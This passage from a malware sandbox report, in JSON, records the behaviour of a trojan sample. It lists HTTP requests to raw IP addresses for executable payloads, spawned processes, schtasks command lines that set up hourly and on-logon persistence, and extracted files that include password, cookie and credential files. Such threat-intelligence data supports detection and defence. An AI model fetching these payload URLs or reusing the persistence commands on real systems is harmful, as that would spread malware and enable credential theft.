Inc.","registrar_name_servers":"NS1.GOOGLE.COM","registrar_creation_date":"1997-09-15T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"accounts.youtube.com","address":"142.251.214.142","ttl":267,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Google Inc.","registrar_name_servers":"NS1.GOOGLE.COM","registrar_creation_date":"2005-02-15T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"cacerts.digicert.com","address":"192.229.211.108","ttl":280,"country":"United States","registrar_name":"GODADDY.COM, LLC","registrar_organization":"DigiCert, Inc.","registrar_name_servers":"NS1.P03.DYNECT.NET","registrar_creation_date":"1996-12-02T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"crl.pki.goog","address":"142.250.191.67","ttl":41,"country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"crls.pki.goog","address":"142.250.191.67","ttl":184,"country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"db-ip.com","address":"104.26.5.15","ttl":300,"country":"United States","registrar_name":"GANDI SAS","registrar_organization":"Eris Networks SAS","registrar_name_servers":"NS1.T0X.NET","registrar_creation_date":"2010-05-18T20:21:20+00:00","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"fonts.gstatic.com","address":"142.250.191.35","ttl":43,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Google Inc.","registrar_name_servers":"NS1.GOOGLE.COM","registrar_creation_date":"2008-02-11T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"ipinfo.io","address":"34.117.186.192","ttl":13,"country":"United States","registrar_name":"http://www.nic.ac/go/whois/ipinfo.ac","registrar_name_servers":"ns-595.awsdns-10.net","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"ocsp.digicert.com","address":"192.229.211.108","ttl":20080,"country":"United States","registrar_name":"GODADDY.COM, LLC","registrar_organization":"DigiCert, Inc.","registrar_name_servers":"NS1.P03.DYNECT.NET","registrar_creation_date":"1996-12-02T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"ocsp.pki.goog","address":"142.250.191.67","ttl":261,"country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"www.facebook.com","address":"157.240.22.35","ttl":477,"country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"www.gstatic.com","address":"142.250.189.195","ttl":289,"country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"www.maxmind.com","address":"104.18.146.235","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"domain":"www.youtube.com","address":"172.217.164.110","ttl":262,"country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]}],"http_requests":[{"host":"www.maxmind.com","host_ip":"104.18.146.235:80","url":"/geoip/v2.1/city/me","method":"GET","response_code":"403","response_phrase":"Forbidden","header":"GET /geoip/v2.1/city/me HTTP/1.1\nConnection: Keep-Alive\nReferer: https://www.maxmind.com/en/locate-my-ip-address\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36\nHost: www.maxmind.com","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"109.107.182.3","host_ip":"109.107.182.3:80","url":"/cost/ko.exe","method":"HEAD","response_code":"200","response_phrase":"OK","header":"HEAD /cost/ko.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36\nHost: 109.107.182.3\nContent-Length: 0\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"185.215.113.68","host_ip":"185.215.113.68:80","url":"/mine/amers.exe","method":"HEAD","response_code":"200","response_phrase":"OK","header":"HEAD /mine/amers.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36\nHost: 185.215.113.68\nContent-Length: 0\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"109.107.182.3","host_ip":"109.107.182.3:80","url":"/cost/niks.exe","method":"HEAD","response_code":"200","response_phrase":"OK","header":"HEAD /cost/niks.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36\nHost: 109.107.182.3\nContent-Length: 0\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"109.107.182.3","host_ip":"109.107.182.3:80","url":"/cost/vinu.exe","method":"HEAD","response_code":"200","response_phrase":"OK","header":"HEAD /cost/vinu.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36\nHost: 109.107.182.3\nContent-Length: 0\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"109.107.182.3","host_ip":"109.107.182.3:80","url":"/cost/networa.exe","method":"HEAD","response_code":"200","response_phrase":"OK","header":"HEAD /cost/networa.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36\nHost: 109.107.182.3\nContent-Length: 0\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"109.107.182.3","host_ip":"109.107.182.3:80","url":"/cost/lada.exe","method":"HEAD","response_code":"200","response_phrase":"OK","header":"HEAD /cost/lada.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36\nHost: 109.107.182.3\nContent-Length: 0\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"ocsp.digicert.com","host_ip":"192.229.211.108:80","url":"/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.digicert.com","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"cacerts.digicert.com","host_ip":"192.229.211.108:80","url":"/DigiCertGlobalRootG3.crt","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /DigiCertGlobalRootG3.crt HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: cacerts.digicert.com","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"ocsp.digicert.com","host_ip":"192.229.211.108:80","url":"/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.digicert.com","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"ocsp.pki.goog","host_ip":"142.250.191.67:80","url":"/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"ocsp.pki.goog","host_ip":"142.250.191.67:80","url":"/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"ocsp.pki.goog","host_ip":"142.250.191.67:80","url":"/gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"crl.pki.goog","host_ip":"142.250.191.67:80","url":"/gtsr1/gtsr1.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gtsr1/gtsr1.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl.pki.goog","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"crls.pki.goog","host_ip":"142.250.191.67:80","url":"/gts1c3/QqFxbi9M48c.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crls.pki.goog","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"ocsp.digicert.com","host_ip":"192.229.211.108:80","url":"/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.digicert.com","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"ocsp.pki.goog","host_ip":"142.250.191.67:80","url":"/gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"ocsp.digicert.com","host_ip":"192.229.211.108:80","url":"/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.digicert.com","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"host":"ocsp.digicert.com","host_ip":"192.229.211.108:80","url":"/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.digicert.com","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}],"processes":[{"pid":3992,"ppid":0,"name":"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe","command_line":"","sha256":"2f7f23610e8e0633ef0b03d602a02734bdcadab3fdc8c15d0f6d93a0a454fa6f","normalized_path":"C:\\SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe","uid":"00000000-00003992","icon":"$5c"},{"pid":3200,"ppid":3992,"name":"schtasks.exe","command_line":"schtasks /create /f /RU \"%OSUSER%\" /tr \"%ALLUSERSPROFILE%\\MPGPH131\\MPGPH131.exe\" /tn \"MPGPH131 HR\" /sc HOURLY /rl HIGHEST","sha256":"15018d0093befabba8b927743191030d1f8c17bb97fdb48c2fc3eab20e2d4b3d","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00003992","uid":"00000000-00003200"},{"pid":2416,"ppid":3992,"name":"schtasks.exe","command_line":"schtasks /create /f /RU \"%OSUSER%\" /tr \"%ALLUSERSPROFILE%\\MPGPH131\\MPGPH131.exe\" /tn \"MPGPH131 LG\" /sc ONLOGON /rl HIGHEST","sha256":"15018d0093befabba8b927743191030d1f8c17bb97fdb48c2fc3eab20e2d4b3d","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00003992","uid":"00000000-00002416"},{"pid":1416,"ppid":3992,"name":"MHH8pQrdaTkfN7lyJVXS.exe","command_line":"","sha256":"63b19624820412a19ca23015ff91b036a04ac8270fab88e86241b662007ab4e4","normalized_path":"%TEMP%\\jobA4GHiLxQulTalN9\\MHH8pQrdaTkfN7lyJVXS.exe","parent_uid":"00000000-00003992","uid":"00000000-00001416"},{"pid":2660,"ppid":1416,"name":"iexplore.exe","command_line":"https://www.youtube.com/","sha256":"8abc7daa81c8a20bfd88b6a60ecc9ed1292fbb6cedbd6f872f36512d9a194bba","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","parent_uid":"00000000-00001416","uid":"00000000-00002660"},{"pid":2120,"ppid":2660,"name":"iexplore.exe","command_line":"SCODEF:2660 CREDAT:275457 /prefetch:2","sha256":"8abc7daa81c8a20bfd88b6a60ecc9ed1292fbb6cedbd6f872f36512d9a194bba","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","parent_uid":"00000000-00002660","uid":"00000000-00002120"},{"pid":3348,"ppid":2660,"name":"iexplore.exe","command_line":"SCODEF:2660 CREDAT:6239233 /prefetch:2","sha256":"8abc7daa81c8a20bfd88b6a60ecc9ed1292fbb6cedbd6f872f36512d9a194bba","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","parent_uid":"00000000-00002660","uid":"00000000-00003348"},{"pid":924,"ppid":2660,"name":"iexplore.exe","command_line":"SCODEF:2660 CREDAT:4207619 /prefetch:2","sha256":"8abc7daa81c8a20bfd88b6a60ecc9ed1292fbb6cedbd6f872f36512d9a194bba","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","parent_uid":"00000000-00002660","uid":"00000000-00000924"},{"pid":2516,"ppid":3992,"name":"N_QwR4NSLtBtcixCu5po.exe","command_line":"","sha256":"ae66081007f66c6d3db8929a2b8bb31cc8772472eeb1a3e45892a39ae5944d8b","normalized_path":"%TEMP%\\jobA4GHiLxQulTalN9\\N_QwR4NSLtBtcixCu5po.exe","parent_uid":"00000000-00003992","uid":"00000000-00002516"},{"pid":1884,"ppid":2516,"name":"explorhe.exe","command_line":"","sha256":"ae66081007f66c6d3db8929a2b8bb31cc8772472eeb1a3e45892a39ae5944d8b","normalized_path":"%TEMP%\\d887ceb89d\\explorhe.exe","parent_uid":"00000000-00002516","uid":"00000000-00001884"},{"pid":3792,"ppid":3992,"name":"cGutGk0YYa8pjPhoX_RK.exe","command_line":"","sha256":"732991a96c1a60cbcf149b42415bf70902970c9779a067042c53d3bfb2b32dab","normalized_path":"%TEMP%\\jobA4GHiLxQulTalN9\\cGutGk0YYa8pjPhoX_RK.exe","parent_uid":"00000000-00003992","uid":"00000000-00003792"},{"pid":3788,"ppid":3992,"name":"A_fx0NQLKitBAeBAEfCf.exe","command_line":"","sha256":"3126f6837f3a708a7addeabc3ab28c1a6e183c343017a93a79759b4be550335c","normalized_path":"%TEMP%\\jobA4GHiLxQulTalN9\\A_fx0NQLKitBAeBAEfCf.exe","parent_uid":"00000000-00003992","uid":"00000000-00003788"},{"pid":2348,"ppid":3992,"name":"xxRxKruXMsk3aXgsr67Q.exe","command_line":"","sha256":"e14eda48320252ec766234b5fe19f3da41cc6b00f2d8108f1a514b943d1d1067","normalized_path":"%TEMP%\\jobA4GHiLxQulTalN9\\xxRxKruXMsk3aXgsr67Q.exe","parent_uid":"00000000-00003992","uid":"00000000-00002348"},{"pid":2564,"ppid":3992,"name":"5jxITIHj6OKJr9ZS6w6P.exe","command_line":"","sha256":"945a4c3c4fabeb626fc4f40c519f73e128d962dd8b708dcb73d5dd2619bfba93","normalized_path":"%TEMP%\\jobA4GHiLxQulTalN9\\5jxITIHj6OKJr9ZS6w6P.exe","parent_uid":"00000000-00003992","uid":"00000000-00002564"},{"pid":2760,"ppid":0,"name":"MPGPH131.exe","command_line":"","sha256":"2f7f23610e8e0633ef0b03d602a02734bdcadab3fdc8c15d0f6d93a0a454fa6f","normalized_path":"%ALLUSERSPROFILE%\\MPGPH131\\MPGPH131.exe","uid":"00000000-00002760","icon":"$5d"},{"pid":2392,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 3992 -s 468","sha256":"08bace187a0225e10677de9aa6738a7118be3e5cad6dc45fb8d3366a61bb343c","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00002392","icon":"$5e"}],"all_imported_dlls":["ntdll.dll","VxSSL32.dll","fltLib.dll","crypt32.dll","msasn1.dll","kernel32.dll","advapi32.dll","rpcrt4.dll","kernel.appcore.dll","GdiPlus.dll","msvcrt.dll","ucrtbase.dll","combase.dll","cfgmgr32.dll","sspicli.dll","win32u.dll","oleaut32.dll","winmmbase.dll","setupapi.dll","sechost.dll","wow64win.dll","KernelBase.dll","cryptbase.dll","ws2_32.dll","winmm.dll","SHCore.dll","wow64.dll","user32.dll","wow64cpu.dll","bcryptprimitives.dll","msvcp_win.dll","windows.storage.dll","powrprof.dll","profapi.dll","apphelp.dll","comctl32.dll","gdi32.dll","gdi32full.dll","imm32.dll","ole32.dll","shell32.dll","shlwapi.dll","imagehlp.dll","winhttp.dll","normaliz.dll","api-ms-win-downlevel-user32-l1-1-0.dll","mscoree.dll","mshtml.dll","ssv.dll","webio.dll","version.dll","vcruntime140_clr0400.dll","IEShims.dll","SensApi.dll","System.ni.dll","wintrust.dll","oleaccrc.dll","api-ms-win-downlevel-version-l1-1-0.dll","wship6.dll","schannel.dll","duser.dll","netutils.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","netprofm.dll","devobj.dll","taskschd.dll","clr.dll","dnsapi.dll","ncrypt.dll","bcrypt.dll","vaultcli.dll","WindowsCodecs.dll","mscorwks.dll","RpcRtRemote.dll","rasadhlp.dll","tzres.dll","urlmon.dll","wkscli.dll","msimg32.dll","MSOHEV.DLL","rsaenh.dll","xmllite.dll","netapi32.dll","dui70.dll","wininet.dll","iertutil.dll","ndfapi.dll","imageres.dll","cabinet.dll","credssp.dll","gpapi.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","ieframe.dll","sxs.dll","dxgi.dll","jp2ssv.dll","psapi.dll","wdi.dll","clrjit.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","rpcss.dll","ExplorerFrame.dll","mscoreei.dll","clbcatq.dll","api-ms-win-core-synch-l1-2-0.dll","mpr.dll","d3d10warp.dll","nlssorting.dll","WSHTCPIP.DLL","nsi.dll","d3d11.dll","dhcpcsvc6.dll","ktmw32.dll","mlang.dll","shfolder.dll","sqmapi.dll","oleacc.dll","URLREDIR.DLL","deploy.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","winnsi.dll","FWPUCLNT.DLL","cryptsp.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","dhcpcsvc.dll","usp10.dll","lpk.dll","wsock32.dll","ieproxy.dll","actxprxy.dll","ntmarta.dll","d2d1.dll","api-ms-win-core-xstate-l2-1-0.dll","npmproxy.dll","userenv.dll","Wldap32.dll","mswsock.dll","comdlg32.dll","devrtl.dll","secur32.dll","propsys.dll","dwmapi.dll","uxtheme.dll","shdocvw.dll","msimtf.dll","UIAnimation.dll","mscorlib.ni.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","ieui.dll","cryptnet.dll","msvcr90.dll","msvcr100.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","srvcli.dll","DWrite.dll","jscript9.dll","IPHLPAPI.DLL","ucrtbase_clr0400.dll","msctf.dll","nlaapi.dll","wshqos.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"clip.dll","sha256":"150fb1285c252e2b79dea84efb28722cc22d370328ceb46fb9553de1479e001e","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"clip_1_.dll","sha256":"150fb1285c252e2b79dea84efb28722cc22d370328ceb46fb9553de1479e001e","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"cred.dll","sha256":"340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"urlblockindex_1_.bin","sha256":"775853600060162c4b4e5f883f9fd5a278e61c471b3ee1826396b6d129499aa7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"MPGPH131.exe","sha256":"2f7f23610e8e0633ef0b03d602a02734bdcadab3fdc8c15d0f6d93a0a454fa6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"5jxITIHj6OKJr9ZS6w6P.exe","sha256":"945a4c3c4fabeb626fc4f40c519f73e128d962dd8b708dcb73d5dd2619bfba93","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"amers_1_.exe","sha256":"ae66081007f66c6d3db8929a2b8bb31cc8772472eeb1a3e45892a39ae5944d8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"RageMP131.exe","sha256":"2f7f23610e8e0633ef0b03d602a02734bdcadab3fdc8c15d0f6d93a0a454fa6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"F59E91F8","sha256":"d0ba3c92086c26a4e7eb8b9b2425b69d01e54068af26fbddbaf556185e1079ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"RykJ3JpwZm_UMlZedWjAlUZA0qioSPuU.zip","sha256":"2994dee81c815f9324e16dd7167a97c3a437f1003dddc6262c179d2bdb4b074c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"c7mscE3GSmQdvkH9JAisf7ttxDsHKwpK.zip","sha256":"83002946821835a808c2b1806405e12720be0ae67a0a04c4954270b6297ef32c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"explorhe.exe","sha256":"ae66081007f66c6d3db8929a2b8bb31cc8772472eeb1a3e45892a39ae5944d8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"information.txt","sha256":"f397b88dbb5ac88d7cbc108bcb31b4bff675c4a478b541081bcf560d554ffc35","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"passwords.txt","sha256":"4993311fc913771acb526bb5ef73682eda69cd31ac14d25502e7bda578ffa37c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"A_fx0NQLKitBAeBAEfCf.exe","sha256":"3126f6837f3a708a7addeabc3ab28c1a6e183c343017a93a79759b4be550335c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"D87fZN3R3jFecookies.sqlite","sha256":"c4c49e874abd38b83cb8eefe46d05d21dfc3502a69a59fb672316a50b04462c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"MHH8pQrdaTkfN7lyJVXS.exe","sha256":"63b19624820412a19ca23015ff91b036a04ac8270fab88e86241b662007ab4e4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"N_QwR4NSLtBtcixCu5po.exe","sha256":"ae66081007f66c6d3db8929a2b8bb31cc8772472eeb1a3e45892a39ae5944d8b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"cGutGk0YYa8pjPhoX_RK.exe","sha256":"732991a96c1a60cbcf149b42415bf70902970c9779a067042c53d3bfb2b32dab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"xxRxKruXMsk3aXgsr67Q.exe","sha256":"e14eda48320252ec766234b5fe19f3da41cc6b00f2d8108f1a514b943d1d1067","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"rage131MP.tmp","sha256":"e53a563ebd1e99395010a2edfb8015430f417b82c251065ee244b91b86e45a9b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"lada_1_.exe","sha256":"945a4c3c4fabeb626fc4f40c519f73e128d962dd8b708dcb73d5dd2619bfba93","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"redline1234.exe","sha256":"2db182f76ad1f6c00daba3e80bc78756739e7005873ba3c